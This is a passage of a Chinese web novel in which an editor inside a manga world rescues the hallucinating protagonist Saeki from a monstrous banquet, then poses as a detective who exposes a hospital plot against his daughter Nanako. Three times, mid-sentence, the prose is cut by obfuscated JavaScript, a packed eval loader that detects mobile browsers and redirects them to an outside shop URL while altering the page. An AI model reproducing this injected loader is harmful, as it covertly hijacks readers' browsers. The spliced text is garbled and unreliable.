匣子突然给出提醒,【佐伯雄那边好像出现了点异常,剧情加速了。】 黑野编辑立刻想起佐伯雄今天的排班,并构建出俱乐部的内部路线。 他不假思索,撑起手杖赶过去。 佐伯雄安静地躺在席垫上,等待末日的降临。 这样的事情他好像已经历过许多次了。 每回他陷落到恐惧、屈辱和绝望中去,世界就会开始失真。然后坠入……常人无法想象的地狱。 那些都和他没有关系了。 做这份工作,要学会的第一件事就是,忘记身体上盛放的一切。 然后忘记客人们使用的那套语言。 忘记身体被冰镇后的疼痛。 忘记自己是一名活生生的人类。 只要安静地、永恒地躺着就好。 这就是唯一的彻底的职业要求。 熟悉的笑话怎么都想不起来了。客人的声音也变得无比遥远。可理解与不可理解的一切都变得模糊。 在这样的头脑放空中,佐伯雄恍惚听到门被拉开的声音。 【都说过瘸腿跑不快了,就让我治治你的腿又怎样?在我这里赊积分又不是什么高利贷。】 黑野编辑进门的时候匣子还在抱怨,随后它为屋内的景象哑了一秒,【真要命,这屋里哪个是男主角?】 黑野编辑不会当真以为匣子看不出佐伯雄在哪里。这不过是匣子表达大惊小怪的方式而已。 和室内挤满了一屋子的怪物。触□□缠,鳞齿相叠,杯筷横飞,酒水腥臭,完全是漫画最后结局时的地狱绘模样。 而与漫画不同的是,在眼前的画幅正中,位于祭品位置的核心人物,袒露着鱼腹,也已经化为难以辨识出原型的异兽。 看样子,男主角的异变比漫画中更彻底。 而更为紧迫的麻烦是,屋内那些饕餮食客化为的怪兽,正张牙舞爪地向着突然闯入的不速之客,展开了威胁和攻击的态势。 黑野编辑早在入门前就卸掉了隐身的伪装。 【快!快比划个动作,自称是黑野家黑田元忠流三十二代阴阳师首席传人!】匣子指手画脚,转眼又给他策划了一个新的人设身份。 黑野编辑一脚踏入室内,手杖敲地,说,“临时检查!目前发现这家俱乐部存在严重食品安全问题,请各位食客暂时停止用餐,配合调查。” 怪物们发出了嗡嗡嗡嗡的议论声。 这种高频振动空气的方式,不像是海兽类的交流手段,倒有些像是人类在精神紧张时因焦虑而产生的嗡鸣幻听。 原因在此刻不重要,此刻最大的问题是,听不懂。 食客们的态度可能是震惊是质疑,是配合是愤怒,但在被幻觉丑化的世界里,所有的表达看上去都只会像是开战的信号。 也可能真的就是单纯的开战信号。 黑野编辑无法对此给出正确的回应,而如果拖久了,食客们的配合也会变成质疑,震惊也会变成愤怒。 他索性直接上前,将席间的佐伯雄拖了起来——他有九成把握那条僵硬迟钝静止不动的大鱼就是佐伯雄,“现在我要带走重要证人,请不要妨碍取证工作。” 14.紧急诈骗 黑野编辑说话的时候,已经用手杖格开了一些“妨碍取证工作”的行为。 怪物们只混乱了短短十来秒,就用行动表达了思考的结果。 食客们被破坏用餐的恼羞成怒也好,怪物们的不理解和野蛮也好,总之,它们发起了攻击,试图将佐伯雄和黑野编辑一起留下来。 【叮!监测到宿主目前正面临被分食的高危风险,是否需要紧急援助?】 匣子情绪兴奋,拿出了趁火打劫的借贷方案,【来不及多说了,快上车!】 就同之前每次的结果一样,它这一次的图谋,也被黑野编辑理所当然地无视了。 复杂情境里的交流,是不可能在没有反馈的情况下单方面主导全局的。黑野编辑对此早有心理准备。 当第一只怪物试图拉扯他的手杖时,他拧动了手杖末端的隐藏旋柄。手杖的外壳被怪物夺走了,他一甩手腕,将暗藏其中的细剑拔了出来。 阴差阳错,匣子给他换的衣装偏偏就是这套。 这是复刻了某个漫画角色经典形象的咖色休闲西装,套装中就包括这把手杖。漫画家特地赠送给他的这套套装还原度尤其高,连杖中剑的细节都还原了。 当然,漫画周边是没有杀伤力的。 黑野编辑在现实中的收藏也没有开刃。 但是,这里是唯心的漫画世界,更在崇尚暴力与恐怖的幻觉统治之下。 编辑挥剑,轻易地砍落了那些拉扯着他和佐伯雄的触肢。 这里的怪物们大概也是欺软怕硬的,对佐伯雄是聚众谋食,对单枪匹马的编辑也极为嚣张,可才刚刚吃了一点亏,就又都犹豫着纷纷退避。 匣子叹口气,开始播报新闻,【……据悉,某某地某某俱乐部刚刚发生一起社会治安案件,某跛足男子自称检查工作,闯入宴会后打翻席面,并要求强行带走现场服务工作人员,遭到群众劝阻后,该男子挥舞着漫画周边,连伤数人,该行为疑似沉迷漫画导致的暴力冲动和精神失常,本台记者已抵达现场,将持续为您报道最新进展……】 黑野编辑没有主动进攻那些怪物们的重要躯干,只是破除了怪物们伸过来的阻碍。 没有开刃的玩具刀只能打痛人,在幻觉之外的世界里,应该也不会给食客留下太严重的伤害。 当然,这些事情黑野编辑说了不算,要看佐伯雄恢复过来后怎么想。 这个世界还没有崩溃。黑野编辑断定,佐伯雄的理性仍旧存在。 他一手横剑对着怪物,一手拖着似乎对外界毫无感知的佐伯雄,倒退着往屋外走去。可以替代拐杖的手杖已经没了,又无法用手臂借力,此时只能用骨折尚未完全愈合的右腿撑着走路,黑野编辑没有喊痛,倒是匣子在意识里替他发出咝咝抽气的声音。 【了不起啊我的宿主,不愧是我翻遍了樱岛才找出来的人才……等等,你的手怎么了!?】 “有什么不满意的,请去找良平先生投诉吧。”黑野编辑站在门外,先留给食客们一个情绪上的出口,才带着佐伯雄离开。 果然,那些怪物们在屋内混乱地发生吵闹,看似群情激愤,却都不再有立刻追出来算账的意图。 黑野编辑扶着墙,将佐伯雄拖过半条走廊,好不容易走到一个稍微隐蔽的角落,才停下来检查匣子所说的异常。 ……匣子这次不算大惊小怪。 他的左臂变异了。 不仅如此,变异出来的鳞甲利爪,已完全脱离黑野编辑本人的控制,正在用力绞缠佐伯雄的身躯,怎么看都像是新的威胁。 黑野编辑接受了这个新的现实。 连佐伯雄都会变异,靠共同进食来防止变异的方案自然也就不成立了。 这就是佐伯雄的幻觉吗?世间一切都怀有恶意?相互残杀? 黑野编辑明明是救他,幻觉里却是在害他。 这似乎不以黑野编辑自身的意志为转移。 【你自己变成怪物就不用再怕那些怪物了,倒也是个方法,没准连交流问题都能解决呢。不对,】匣子恍然大悟,【要是男主角被你害死了怎么办?神州有个词语叫壮士断腕……难道我今天有幸目睹!?事先声明,只要积分足够,在我这里可以治愈一切外伤哦。】 作为馊主意大师,匣子致力于替宿主解除一切作死的后顾之忧,只怕宿主不够作死。 黑野编辑照例忽视掉匣子的建议,他看着像死鱼般无知无觉的佐伯雄,说,“菜菜子在幼儿园出事了。 “我来这里是为了找你过去。” 佐伯雄一个激灵,仿佛是从水中被打捞起来的人,喘了几口气后,猛然醒过来。 世界出现了几次重影,最终还是不甘不愿地恢复了正常。 黑野编辑的手,佐伯雄的身体,都再度化为人类的形态。 黑野编辑立刻松开手。从酒席上被带下来的盛器仍是工作时的赤裸状态。好在这个偏僻角落恰巧就是员工休息室的门口。黑野编辑放佐伯雄进去更衣,顺便让匣子帮自己修复手杖。 刚刚发生了一次重大异变,男主角的精神状态并不稳定。黑野编辑没有趁机离开。 他等在休息室门口,佐伯雄匆匆换好衣物出来。 接到投诉的俱乐部安保人员可能随时会出现。两人迅速离开了这家俱乐部。 等安全离开后,才是正式谈话的时机。 黑野编辑没有介绍自己的身份,只是解释道,“情况紧急,万不得已才采用这种方法将你从席间带出来,请见谅。那几位客人没有受伤,”黑野编辑特意向佐伯雄多说了这一句,随后说,“希望不会为你带来太多困扰。” 佐伯雄先前几乎在工作中失去了意识,却又好像隐约知道周围发生了什么。 他慢慢回想并试图理解之前发生的事情。 虽然整体情节还不够清晰,但有常识的人都知道,在发生过那样的混乱之后,他很难再回去俱乐部应对他人的询问,几乎算是失去这份工作了。 差不多算是被砸了饭碗,佐伯雄也没有太多怨恨,先问,“菜菜子怎么了?” 菜菜子的名字就像一个魔咒。 东云茜曾经说过,绝不能让菜菜子面对那样恐怖的世界。黑野编辑是将其作为最后的保险词来使用的。 果然,魔咒一出,怪物们的幻影烟消云散。放弃自我的佐伯雄也终于恢复了意识。 黑野编辑心想,毕竟《夜樱》在最初就是一部亲子漫画,若佐伯雄和菜菜子间没有这样的羁绊,新人赏作品也可以换个得主了。 匣子抱怨着为何黑野编辑不早点用这个撒手锏。 魔咒的效力也是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818409|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 限的,或许会被消磨,或许存在着使用次数的限制。 而且,这是仅对佐伯雄有用的咒语。 在前篇内容中,菜菜子就差点成为酒醉客人的受害者。若对着已异变的其他怪物说出菜菜子,只怕会适得其反。 黑野编辑对佐伯雄的问题避而不答,“我找到你的时候,你的状态有些不对劲。” 佐伯雄也避而不答,问,“你和良平先生有什么关系吗?” 他大概是回想起了方才事件中的一些细节。 “我不认识他。”黑野编辑平静的语调里自有一种让他人信服的力场,“只是事急从权,借用他的名号。” 佐伯雄犹豫了一会儿,才回答道,“我最近身体不太好,偶尔会有些头晕,耳鸣。” 这是一半的实话。 “那你要注意点了。”黑野编辑说,“我听说做你们这行的精神压力都很大,容易出问题。” 佐伯雄惨笑一下,“什么问题?” “失眠,幻觉,”黑野编辑说,“异能。” 他留意到,当他说出第二个词语的时候,佐伯雄就在紧张了。但他没有在幻觉这个词语上发挥,而是继续说下去,“你知道吗,异能不是青少年群体的专利。 “在心理健康面临较高风险的特殊职业人群中,异能发作率不比青少年群体低,但官方机构很少宣传这方面的数据。 “关于风俗业的负面的真实研究数据,一直以来也没有太多人关心。” 匣子察觉到它喜爱的风向,不由又骚动起来。 但黑野编辑提及这些,并非想要推动漫画向异能乱斗的类型转变。这不过是正常的科普而已。 如果夜樱延续原本的社会题材特色,继续深挖风俗业的弊端,迟早有天也会触及并开始谈论这个话题。 “青少年觉醒异能的类型,往往与他们想要自我证明的方向相符。” 佐伯雄听得很认真,黑野编辑继续介绍,“风俗业的从业人员则不同,所觉醒的异能大多数是自毁性质的。社会不会像辅导青少年那样提供援助,只想要深深隐藏和埋葬他们的痛苦。 “当异能造成困扰的时候,这是他们只能靠自己去面对和努力克服的问题。” 佐伯雄已经为自身可能存在的精神疾病苦恼很久了。 漫画中,精神疾病这个答案无法给予他慰藉,只会让他在自证的痛苦中越陷越深。 如果佐伯雄非要为身边过于真实恐怖的幻觉找一个原因,最好是相信这个新的借口,而不要去怀疑整个世界的安全性。他越怀疑,这个世界就崩溃得越快。 而且,异能期的结束,往往也是难以解释又了无痕迹的。 在度过这个小篇章后,漫画的风格比较容易回归正轨。 佐伯雄沉默不语,抬头看了几眼红绿灯。 不知不觉间,两人已经慢慢走到了一个繁华的十字路口上。 当左侧的那条人行横道的绿灯开始倒计时的时候,佐伯雄两步走到人行横道口,然后转过身来,对黑野编辑说,“其实,菜菜子的幼儿园不在这个方向。” 显而易见,如果黑野编辑的回答不对,他就会立刻跑过人行横道逃走。 以黑野编辑现在的行动能力,既无法在红绿灯结束前追上他,更无法冒险去闯红绿灯。 15.新场景的诞生 在漫画里,作者一般不会特地画出不同场所间的路线图。若要表现角色移动过程的话,往往也只是简单地用一两张路程中的风景图作为画面的背景。 在《夜樱》里,佐伯雄状态失常后,菜菜子不再出场,关于其活动范围的相关情报就更少了。 黑野编辑的确不知道去菜菜子的幼儿园该走哪条路。 离开俱乐部后,黑野编辑并没有特意选择路线,而是以腿脚不便为理由,跟随着佐伯雄前行。 很难说佐伯雄是在哪段路上起了疑心,开始故意试探黑野编辑。 【也别问我,这个漫画世界是不完整的,等你再往外多走走就知道了,不同的场景地区就像孤岛碎片,有各自的边界在,靠走是走不过去的。】匣子第一时间甩锅,【谁知道佐伯雄认知里的道路是哪条。】 佐伯雄说完话后,没有急着逃跑,而是沉默地看着黑野编辑的脸, “菜菜子是在幼儿园出的事。”黑野编辑的语气依旧平静,“但我现在要带你去的是医院。 “你没发现,现在这条是去医院的路吗?” 佐伯雄面色骤变。 黑野编辑立刻体验到了,在漫画世界中跨越不同场景孤岛的交通方式是什么。 ——是漫画转场。 像是刚进入漫画世界时的那阵恍惚,之后,就有消毒水味迎面扑来。一晃眼间,黑野编辑已经站在了医院的走廊上。 大概是佐伯雄关心则乱,顾不上质疑更多细节。世界终于还是接受了黑野编辑强加的情节发展。 《夜樱》漫画中原本没有出现过医院的场景。 黑野编辑粗略扫了一眼,就立刻做出整体评判,这个场景的完成度大概只能打四分左右。 框架合格,要素基本齐全,但陈设以满足基础功能为主。 不同于地下俱乐部里那种精致幽深、富丽繁复的装饰风格,眼下这片医院场景毫无视觉冲击力,装饰几乎没有,细节精度低,与其说是简洁,不如说是简单——只能说,看得出是这里一家医院。 《夜樱》这本漫画在日常篇中是很富有生活气息的,每个场景都不简单。 东云茜的能力应该不会止步于此,黑野编辑认为,这个场景的设计还没有经过漫画家认真的构思酝酿和素材浇灌。 不大可能是因为懒惰,这个场景(或者说这整段剧情)应该完全在东云茜的预期之外。 这里是一个临时搭建的舞台。 医院应有的功能设施齐全,是世界在“发展”中调用了漫画家对现实世界的常识。 黑野编辑向前走了两步,隔着敞开的病房门,终于得以见到在漫画后期就没有出场过的重要角色,春原菜菜子。 女孩子躺在病床上,见到先于黑野编辑走入病房的养父后,苍白的面容上洋溢出天真的笑容。 佐伯雄轻声地向菜菜子问话。 两人说着话,很快就都笑了起来。画面很温馨,应该是漫画中会认真处理的一段情节。 果然,病房的窗户是半开的,阳光正好穿进来,将两侧米色窗帘上柔软的褶皱都照透得纤毫毕现,又映亮了父女俩的侧脸,越过病床前的地板,止步于黑野编辑的脚尖前。 整个画面中,半个病房都沉浸在暖色调里,与冷暗单调的走廊形成鲜明对比。 匣子很有感触,【从站位看,你好像是黑暗方呢。】 黑野编辑没有贸然走进病房,他远远打量着菜菜子。 女孩神志清醒,看起来没有外伤。 直接从幼儿园被送来医院,会是什么病呢? 【床头的病历上有写,】匣子难得发挥了一次侦查上的优势,【似乎是在幼儿园内突然晕倒,原因不明,被老师叫了救护车送来医院检查。】 这种症状,解释的余地可就多了。 【上到绝症,下到低血糖,都有可能啊。】 黑野编辑编造菜菜子出事的情节,原本是为了应急。他可以做一些补救,就像是在佐伯雄意识中植入“客人没有受伤”想法那样。 可是,眼前病房中的情景,让他有了一些新的想法。 他没有插手干扰这个世界对春原菜菜子的病情的判断。 黑野编辑退后两步,靠着墙闭上眼,捏住匣子问,【在我进入漫画世界后,东云茜的情况如何?】 【怎么突然问起他?】匣子说,【放心,漫画世界的时间流速可不同于外界。他们现在都好好的,还不用你急着去救。】 为了让黑野编辑放心,它好心地在编辑眼前投影出现实世界的情况。 漫画家的房屋内,鹰之助和东云茜都还活着。 令黑野编辑赞赏的是,鹰之助虽然擅自决定了用屋门隔绝内外的危险,自身也没有放弃求生。 体育生已经制服了失去神志的东云茜,将其牢牢按在木柜旁的三角区内。从房屋构造和梁柱位置来判断,那是地震中最安全的方位。 漫画世界中那些带着恶意的幻觉已经暂时消散掉了。现实世界中那两人身上的异变仍未解除,但那些多余的肢体似乎也不再主动发起攻击,暂时偃旗息鼓了。 东云茜闭着眼,昏睡不醒。 他的神色较为和缓,不复先前的痛苦挣扎。 佐伯雄给菜菜子说了个笑话。虽然已经听过很多次,菜菜子依然很捧场的咯咯直笑。 佐伯雄也跟着一起笑,心里却藏着对其病情的担忧。他抬头看向病房门外,本应在那里的陌生男人不知何时已经离开了。 【又要隐身吗?】虽然匣子有怨言,但还是完成了宿主的指令。 黑野编辑侧开两步,为奔到门口四处张望的佐伯雄让出位置。菜菜子躺在床上发出了疑惑的询问,佐伯雄问她幼儿园的老师有没有请过人来通知自己。菜菜子懵懵懂懂,表现得完全不知情。佐伯雄又问她有没有见过一位穿着咖色休闲西装的人。菜菜子认真地想了想,小声说没有。 【所以你到底打算给自己编个什么身份?】匣子问完,又觉得自己没趣。 要是黑野编辑打算向佐伯雄解释的话,就不至于再次隐身回避了。 它挑选的这位宿主,多少算是个自闭型攻略者。 【好心的路人。】 黑野编辑认真地给出回答。人间有大爱,所以路人会帮忙是极为合理的。 接下来的几天里,黑野编辑跟着佐伯雄在不同的场景中移动。 佐伯雄如今的生活轨迹很简单,往返于医院、家、菜市场,偶尔去一次银行。 黑野编辑确认了一个猜想,随着男主角的行动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827706|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,地图会慢慢扩展边界。 不仅如此,佐伯雄停留的时间越长,场景也越完善。 医院场景中的细节渐渐丰富起来,随着菜菜子接受的检查项目增加,科室也变多了。医生之类的角色,面貌和性格变得清晰,都有了各自的简单人设。 可惜,医护人员最复杂的人设也和俱乐部中的员工差不多,没有出现新的关键人物。 他们口中带来的也永远都是千篇一律的坏消息。 仿佛像是要遵从漫画家的心愿,远离这个即将剧变的世界,菜菜子时常毫无缘由地长睡不醒。 菜菜子出了事,佐伯雄的状态也不好。 身为成年人该有的素养,让佐伯雄向菜菜子隐瞒了自己失业的事情,只说是请了长假。菜菜子为此非常高兴,还说希望爸爸能一直放假。 佐伯雄除了趁菜菜子刚睡着的时候回家做饭洗衣,或是必要的外出,其余的时候都守在菜菜子旁边。他在经济上应该也有了些问题,最近开始跑银行和一些地下钱庄。 就算如此,他也不再去俱乐部了,大概是彻底放弃了那边的工作。 如果特殊污染源真的在俱乐部的话,迟早还会有未知力量将男主角带回去的。 黑野编辑完全放下了那边未竟的搜查,全心投入到对新场景的调查工作之中。 这些地图都不大。 佐伯雄的行动又很有规律,黑野编辑每次都能算准时间,搭上男主角的漫画转场顺风车。 匣子原本还嘲笑黑野编辑的形影不离,直到佐伯雄开始遭遇意外的危险——生活的压力加剧了佐伯雄的幻觉。变异的怪物再次在各个地图中游荡。有时候他会在失魂落魄中忘记逃跑,黑野编辑及时救了他几次。 甚至有几次,事件就发生在医院里。 那些佐伯雄逐渐熟悉起来的医护人员,身上也开始出现了怪物的重影。 【且不说主角光环,看起来就连菜菜子这个魔咒都快失效了啊。】匣子有些担忧,又忍不住问,【你最近有在认真找特殊污染源吗?】 它感觉到黑野编辑的搜查方针似乎发生了一些变化,却又说不上来。 黑野编辑如今搜寻比对的物品,与其说是怪异的物品,不如说是场景新增的物品。他似乎格外重视同一个场景中在设定完善后多出来的东西。 除了在必要的时候替佐伯雄解围之外,黑野编辑也完全不参与剧情。 病中的春原菜菜子坚强、虚弱又善解人意,连匣子都觉得她有些可怜了,铁石心肠的黑野编辑却无心干涉剧情走向,只是一心一意地在医院办公室里翻找着各种文件暗柜。 漫画剧情在不断加速,佐伯雄的转场频率越来越快。 而黑野编辑终于在一个抽屉里,找到了自己想要的东西——那个抽屉在功能上很隐蔽,但在他看到的那一刻却阴差阳错般恰巧在他视线的最中央,简直像是有人特地将线索摆到了黑野编辑的眼皮底下。 【哇,】匣子忍不住发出惊叹,【你还是不打算做点什么吗?】 “时候到了。”黑野编辑说。 找到这件物品并没有超出编辑的预想。他知道自己可以相信漫画家,可以相信东云茜。 唯一没想到是,他在这个世界中的戏份,竟然也有一席之地。 16.路过的侦探 “这回,您还要说自己只是恰巧路过吗?” 深夜的街道上,再一次获救的佐伯雄抓住身份不明的男人,问向对方。 “只是对害你弄丢工作的小小补偿。”总是会恰巧“路过”的男人,语气平静地提醒道,“你的状态很不好,症状再加重下去的话,可能会出更大的事。” 佐伯雄眼前闪过某些不好的回忆,浑身一颤,不禁松开了男人的手臂。 等反应过来后又为失态感到后悔。 他在心底安慰自己,对方不可能知道那件事情。 男人这次却没有像往常那般立刻离开——有时候佐伯雄不禁怀疑对方拥有什么异能,否则怎么能做到明明腿脚不便,每次却都只转了个弯就消失无踪。 随着对自身精神状态的怀疑加深,佐伯雄又忍不住猜测,会不会对方根本不存在,从头到尾都是自己的幻觉。 可是眼下的场景看起来很真实。春夜的风里熏着清淡的花香。男人也没有离开。这一切都让佐伯雄有种安全的错觉。 他已经很久没有和成年的对象认真谈过话了。 佐伯雄整理一下心情,说,“不用放在心上,我不在乎那份工作。我……原本就不是为了工作才坚持去那里上班。 “钱当然也很重要,但是……” 俱乐部的薪水很高,可在菜菜子生病之前,佐伯雄也并不需要那么多的生活费,又不像同事那样有着负债或花天酒地的生活习惯。 ——现在是需要了,但佐伯雄绝对不会向救过自己的男人抱怨。 他回想当时的心情,“我去那里上班,是因为知道有个人也在那里待过。我想要了解,那个人曾经经历了什么。” 事关菜菜子的母亲,可这些话却是不能对菜菜子说的,佐伯雄也没有遇到其他可诉说的对象,“那里可能也有一些,我想要寻找的线索……” 黑野编辑静静地听着。他相信这就是东云茜原本的构思,这也是俱乐部的地图得到了精心设计,且有严格的区域分布,又隐藏着许多暗室的原因。 “其实在那里上班很辛苦,”佐伯雄忍不住倾诉道,“不止是身体上的,要冷水浇身,要僵硬不动,更多时候,我会觉得自己已经不再被别人当成是人类了…… “或许我真的已经不再是人类了……” 黑野编辑中断他的回想,“你不适合在那里工作。” “那谁适合呢?”佐伯雄惨笑着问。 “没有人类适合在那里工作。”黑野编辑如实说出自己的想法。“没有人类应该做那种工作。” “我知道的,有人曾做过那种工作……我原本想要去那个俱乐部寻找她的身份,又不敢立刻打听,”佐伯雄喃喃说道,“有时候,我在忍受虐待的时候,会想,那个女人是不是曾经忍受过同样的痛苦。 “我有时候会觉得,如果我不坚持下来,就没有资格成为菜菜子的真正父亲。” 黑野编辑皱了皱眉。 人在蒙受苦难的时候会给自己的苦难寻找理由,然后放弃掉原本可以逃脱的选项。 这种向下堕落的思维方式很常见。明明可以分手却选择了忍耐,明明可以改行却选择了自杀——但受害者往往正是因为长期遭受精神折磨,才失去了正常心理健康状态下的全局观,看不到局外人认为显而易见的逃离选项。 不能对受害者太过苛责。对早见芽如是。对佐伯雄也应如是。 “可是,”佐伯雄笑了,“当您出来搅局,当我发现没法再去上班的时候,我所感觉到的竟然是一种解脱。” 他感激地说,“谢谢您。 “……如果,当初也有人救她就好了。” 黑野编辑在眼前男人的身上看到了东云茜的影子。故事里的佐伯雄,哪怕出于对菜菜子的移情,也不该对一面之缘的陌生女人怀有这种程度的愧疚。只有东云茜,可能会对自己没能尽早发现早见芽心理问题的严重性,对没能及时劝慰早见芽,怀有如此深重的悔恨。 那份缅怀转瞬即逝,佐伯雄重新抬起眼,认真地问,“您一直在我的身边。您究竟是谁?” 气氛到了这里,再说谎就不礼貌了。 以诚实来换诚实,黑野编辑不讨厌这样的社交技巧。 何况, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837299|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身份问题也不能再拖下去。留悬念要有度,否则对作品不好。 他开口,“去年的新年夜,歌舞伎町发生了一起命案,凶手还未抓获。” 佐伯雄的面色遽然发白。 他退了一步,“我……”又说,“菜菜子……” “看来你的第一反应不是狡辩。”黑野编辑身体往后一步,靠在路旁的树边,说。 这个放松的身体语言,让佐伯雄的紧张恐惧缓解了一些。 “您是警察吗?为什么不抓我归案?”他慢慢地理清思路,“您是侦探?我该早点想到的,您的服装品味,就很像过去流行过的一个经典漫画里的侦探……” “只是手段而已,”黑野编辑说,“这样方便取得委托人的好感和信赖,不是吗?” 他做必要的设定解释工作,让剧情更加合理化,“我无偿调查一些还未告破的案子,来打好与警方的关系。 “因为没有收钱,所以你不用担心我非得告发你。” “您打算放过我?”佐伯雄抓住一线希望。 “在场很多痕迹都能证明你是正当防卫,但你逃跑了,这是你的过错。”黑野侦探指出,“我原本想抓你回去,我有了业绩,你可以找律师为自己辩护。 “你脱罪的希望很大,就算被判刑,也不会太严重。” 这个正当防卫的定性,有助于减少那些道德感过强的读者对男主角行为的质疑。也能让不少仍对男主角未来结局提心吊胆的读者,解除一些顾虑。 黑野编辑敢于在此时提出并缓解这个矛盾,并非自作主张,而是知道接下来故事的重点要往另一个方向发展。这个矛盾的重要性降低。 而且,这一小段让佐伯雄和读者放松的对话,正是接下来情节紧张前必须要安排的一弛。 黑野编辑虽然没有漫画家那样的想象力和灵感,但他对技法非常熟悉,知道如何帮助漫画家完善故事细节。 佐伯雄的情绪起伏很大。 黑野侦探继续说道,“但我最近深入调查了一下你的情况。你遇到些麻烦,没办法以自己的身份公开露面,是吗?” 17.樱花树下 “是,我不能去自首……”佐伯雄的声音里几乎带着哽咽,“有坏人在找菜菜子。 “菜菜子又生病了,这个时候我不能离开她……” 一想到菜菜子的病,不堪重负的成年人就弯低了腰,向着难得找到的倾诉对象,爆发出长久隐忍的情绪,痛泣出声。 一阵风来,摇落树上樱花,淡粉的花瓣纷纷飘落到两人身上。 黑野编辑看着眼前这位接近崩溃的男人,少有男主角会流露出这般虚弱的模样。 佐伯雄所表现出来的绝望又无力的情绪,再次隐隐和当初撕毁画稿的东云茜的身影重合了。 如果他站不起来的话…… 幻觉中的妖魔大概会更加猖獗肆虐吧? “如果能救菜菜子的话,”黑野侦探慢慢开口,满意地看到佐伯雄抬起头来,眼中流露出疑惑但期待的光芒,“你能为菜菜子付出一切吗?” 他提醒道,“她只是与你没有血缘关系的养女,甚至没有经过合法登记,你并不负有法律责任。” 佐伯雄愣了愣,但只经过短暂的犹豫和思考,他就抓住了黑野编辑的袖子,“我愿意。” 黑野侦探心想,这才有点主角样。 侦探露出笑容,口中说出的却是负面消息,“你们正处于危险之中。” 他不再保留,流畅地说出台词,“菜菜子没有住民票吧?所以,你不得不通过前同事的关系替菜菜子联系幼儿园。虽然他替你保守秘密,但行事总会留下痕迹。只要关注你过去的人际交往,就不难查出这点。而只要找到了菜菜子,就能找到你。” 佐伯雄的脸上浮现出恐惧。 侦探说道,“你应该能想到,能查出这些事情的,不止我一个。” “可是,最近那些人没有来找我……”佐伯雄试图解释。在他带着菜菜子逃跑之前,曾经有人上门来用重金要求他交出菜菜子,他觉得来者不善,拒绝了对方,之后就遭到一系列纠缠,不得不离开了原来的居住环境。 他很确定,自己最近没有再遇到那拨人。 “没有直接找你。” 黑野侦探说,“菜菜子急病,园方呼叫救护车是正常的应对。可是,园方竟然没有安排人跟车,若非我得知情况后擅自来找你,也无人主动通知家属——这有些不合常理,不是吗? “我不知道园方是如何向你解释的。但是,后来我曾冒充医院方给幼儿园打过电话,想要向保育员询问确认菜菜子的病情,园方却说,当初交接时就已说得很清楚了,再三回避谈论具体的病情。” “你是说,那些人去威胁了幼儿园?”佐伯雄当初确实也觉得不太对劲,但是侦探的插手转移了他的注意力,让情况显得更混乱。最为重要的是,菜菜子也从来没有说过幼儿园待她不好之类的话,他就接受了园方的简单解释。 他又悔恨又愤怒,现在想来,“菜菜子的病和她在幼儿园里的遭遇也有关?” “不止如此。”黑野侦探说,“孩童乘坐救护车必须要有监护人或委托监护人陪同,这是法定程序。” 在编辑看来,当初会有这样的异常,不过是漫画情节进展太仓促了,出现了一个常识性错误。但成熟的漫画家有能力圆上这个错漏,让其变为推理中的一环。 “所以,救护车上的医护人员也参与了这件违规的事情。 “甚至,作为菜菜子的最终接收方,医院方才是主谋。” 侦探站直身体,从这次随身携带的手提包中取出一份文件。 “这是我在最近的调查中,从医院方面拿到的,菜菜子真正病历的影印件。” 真正对应着虚假。这个词重逾千钧。 佐伯雄伸出的手哆嗦了几下,有些不敢接那几张在风中颤抖的纸页。 “在看这个之前,你要先想好,”黑野编辑慢条斯理地再次发问,质问男主角的斗志,“你真的想得知真相吗? “你愿意为菜菜子不顾一切地冒险吗?” 佐伯雄一咬牙,夺走了文件。 佐伯雄低头翻看文件。文件很复杂,在漫画中难以用单格画面呈现重点。黑野编辑知道,应该在此处安排帮助读者了解情况的对白。 侦探说,“菜菜子生病了,但她的病情其实并不复杂,是肾上腺腺瘤。” 这种病几乎完全符合春原菜菜子目前在漫画世界中的表现。 平时没有症状,偶尔激素分泌异常,导致脑供血不足,从而突然晕倒。 “其实她第一次入院检查的时候就确诊了,而肾上腺瘤九成以上都是良性腺瘤,这种病只需要做个小手术就能解决。医院偷换了超声检查报告,一直向你隐瞒,甚至用安眠药和镇静剂制造病情不断加重的假象,是想要拖到你主动放弃菜菜子。” 佐伯雄立刻强调,“我是绝对不会放弃菜菜子的。” “谁知道呢。”侦探这种职业见惯了世态闲凉,通常对人性持悲观态度,不会轻易相信承诺。但侦探的正义感仍驱使着他,站在此处告知父亲答案,“如果你坚持不放弃的话,他们就会直接对菜菜子动手。 “假如,有一位像你这样的仁爱无私的父亲,沉浸在女儿去世的沉重悲痛中,突然有人告诉他,有一位同样遭遇不幸的孩童正挣扎在病痛中,可能还会有人安排你 